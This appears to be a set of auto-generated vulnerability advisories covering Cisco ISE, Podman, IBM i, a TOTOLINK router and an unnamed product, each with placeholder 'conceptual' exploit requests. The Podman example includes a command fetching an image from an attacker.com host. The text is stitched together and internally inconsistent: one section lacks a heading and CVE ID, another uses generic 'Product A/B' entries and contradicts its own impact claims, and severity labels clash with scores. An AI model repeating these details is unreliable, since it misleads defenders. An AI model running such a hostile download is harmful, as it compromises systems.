How the Exploit Works

The exploit takes advantage of a vulnerability in an internal API of Cisco ISE and Cisco ISE-PIC which lacks sufficient file validation checks. An attacker could exploit this vulnerability by uploading a malicious file to the affected device, which could then be placed in privileged directories. Upon successful upload, the attacker has the ability to execute this file as root, potentially leading to full system compromise or data leakage.

Conceptual Example Code

This is a conceptual example illustrating the vulnerability. The attacker sends a POST request to the vulnerable endpoint with a malicious payload.

POST /vulnerable/api/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
Content-Length: [length]
[binary data of the malicious file]

Upon successful upload, the malicious file could be executed on the underlying system as root, leading to a potential system compromise or data leakage.

Mitigation and Recommendations

To mitigate this vulnerability, it is recommended to apply the security patch released by Cisco immediately. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation method. However, these measures do not fully protect against the exploit and are only to be used as interim solutions until the patch can be applied.
It is also advised to regularly update and patch all systems and applications, regularly perform vulnerability scanning, and to follow the principle of least privilege to reduce the risk of similar vulnerabilities in the future.

Overview

Today, we will discuss a recently discovered cybersecurity vulnerability labelled as CVE-2025-3090. This vulnerability allows an unauthenticated remote attacker to obtain limited sensitive information and potentially cause a denial of service (DoS) to the affected device. This is due to a missing authentication process for a critical function in the system. The vulnerability is of great concern due to the potential for system compromise or data leakage, affecting a broad range of devices and systems. Given the severity of this issue, it is crucial for cybersecurity professionals, system administrators, and all concerned stakeholders to understand this vulnerability and take appropriate mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-3090
Severity: High (CVSS Score 8.2)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Product A | Version 1.x, 2.x
Product B | Version 3.x, 4.x

How the Exploit Works

The vulnerability, CVE-2025-3090, arises due to missing authentication for a critical function. An attacker, without requiring any form of authentication or user interaction, can exploit this flaw remotely over the network. By sending specially crafted requests to the affected device, the attacker can obtain sensitive information from the system. This exploit can also result in a denial of service (DoS) attack, effectively rendering the device unresponsive.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a sample of a malicious HTTP request an attacker might send:

GET /critical/function HTTP/1.1
Host: target.example.com
{ "malicious_request": "extract_sensitive_info" }

In this example, the “malicious_request” is sent to the “/critical/function” endpoint of the affected device. The device, lacking appropriate authentication for this function, processes the request and returns the sensitive information.
Please note that this is a conceptual example. Actual exploits may be much more complex and may require deep knowledge of the system architecture and the specific vulnerability.

Mitigation

Users of affected products are strongly recommended to apply patches provided by the vendor as soon as possible. If a patch is not available or cannot be applied immediately, temporary mitigation can be achieved using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can be configured to detect and block malicious requests exploiting this vulnerability. However, these are only temporary measures and cannot replace the need for applying the necessary patches.

Overview

In the constantly evolving landscape of cybersecurity, a new vulnerability has been discovered in Podman that could potentially lead to a system compromise or data leakage. This vulnerability affects the Podman machine init command, which fails to verify the TLS certificate when downloading the VM images from an OCI registry. The implications of this vulnerability are severe, as it opens the door for Man-in-the-Middle attacks, which could have devastating consequences for any system using Podman.

Vulnerability Summary

CVE ID: CVE-2025-6032
Severity: High (8.3 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Man-in-the-Middle Attack, leading to potential system compromise or data leakage.

Affected Products

Product | Affected Versions

Podman | All versions prior to the vendor patch

How the Exploit Works

This vulnerability stems from the Podman machine init command’s inability to verify the TLS certificate when downloading VM images from an OCI registry. An attacker could exploit this flaw by positioning themselves in the network path between the victim and the OCI registry. The attacker could then intercept the VM image download and replace it with a malicious image, leading to a Man-in-the-Middle attack.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:

# Attacker intercepts the VM image download
$ podman machine init --image-url https://attacker.com/evil_image
# Podman downloads the malicious image without verifying the TLS certificate
$ podman machine start
# Attacker gains control of the system

Mitigation and Patch Details

The vulnerability can be mitigated by applying the vendor patch, which corrects the flaw by adding TLS certificate verification to the ‘podman machine init’ command. As a temporary measure, users can also employ Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to monitor and block suspicious network activity.
It is strongly recommended that users apply the vendor patch as soon as possible to fully protect their systems against this severe vulnerability. Regularly updating and patching software is a crucial part of maintaining a secure system.

Overview

The cybersecurity landscape continually grapples with newly discovered vulnerabilities, one of which is CVE-2025-36004. This particular vulnerability pertains to IBM i versions 7.2, 7.3, 7.4, and 7.5. It’s a serious issue that potentially allows a user to gain elevated privileges due to an unqualified library call in IBM Facsimile Support for i. This vulnerability matters because a malicious actor could exploit it to run user-controlled code with administrator privileges, potentially leading to system compromise or data leakage. Both IBM i users and administrators need to be aware of this vulnerability and take the necessary steps to mitigate its risks.

Vulnerability Summary

CVE ID: CVE-2025-36004
Severity: High (8.8 CVSS Score)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

IBM i | 7.2
IBM i | 7.3
IBM i | 7.4
IBM i | 7.5

How the Exploit Works

The exploit works by taking advantage of an unqualified library call in IBM Facsimile Support for i. In simple terms, an unqualified library call is when a program doesn’t specify the library that is to be used for a certain function. This can lead to the wrong library being called and manipulated, especially if a malicious user is aware of this vulnerability. In this case, the malicious user can insert their own library into the library list, which would then be called instead of the intended library. This could allow the user to run their own code with elevated privileges.

Conceptual Example Code

Below is a conceptual example of how this type of vulnerability might be exploited. This example uses a shell command to illustrate the point:

# Add malicious library to the library list
ADDLIBLE LIB(MALICIOUS_LIB)
# Call function that has an unqualified library call
CALL PGM(IBM_FAX_FUNC)

In this example, the `ADDLIBLE` command is used to add the malicious library to the library list. Then, when the `CALL` command is used to call a function that has an unqualified library call, the system could potentially call the malicious library instead of the intended one. This could allow the malicious user to run their own code with elevated privileges.

Vulnerability Summary

CVE ID: CVE-2025-6568
Severity: Critical – CVSS Score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

TOTOLINK | EX1200T 4.1.2cu.5232_B20210713

How the Exploit Works

The exploit takes advantage of a buffer overflow vulnerability in the HTTP POST Request Handler component of the TOTOLINK EX1200T. Specifically, an unknown function of the file /boafrm/formIpv6Setup is affected. In this case, the manipulation of the ‘submit-url’ argument can trigger a buffer overflow, providing the attacker with the opportunity to execute arbitrary code or disrupt the normal operation of the system.

Conceptual Example Code

The following is a conceptual example of how an HTTP POST request might be manipulated to exploit this vulnerability. Note that this is a simplified representation and actual exploit code would be much more complex.

POST /boafrm/formIpv6Setup HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=...&overly_long_string_that_causes_buffer_overflow

Here, the overly long string that causes the buffer overflow is the malicious payload that an attacker might use to exploit the vulnerability. Any system using an affected version of the product and receiving this malformed request could potentially be compromised.

Recommended Mitigation

Given the severity and potential impact of this vulnerability, it is recommended to apply the vendor’s patch as soon as it becomes available. If a patch is not yet available or if there are constraints in applying it immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation solution. These can help to detect and prevent potentially malicious activities. However, these are not long-term solutions and can not replace the necessity of patching the vulnerability.
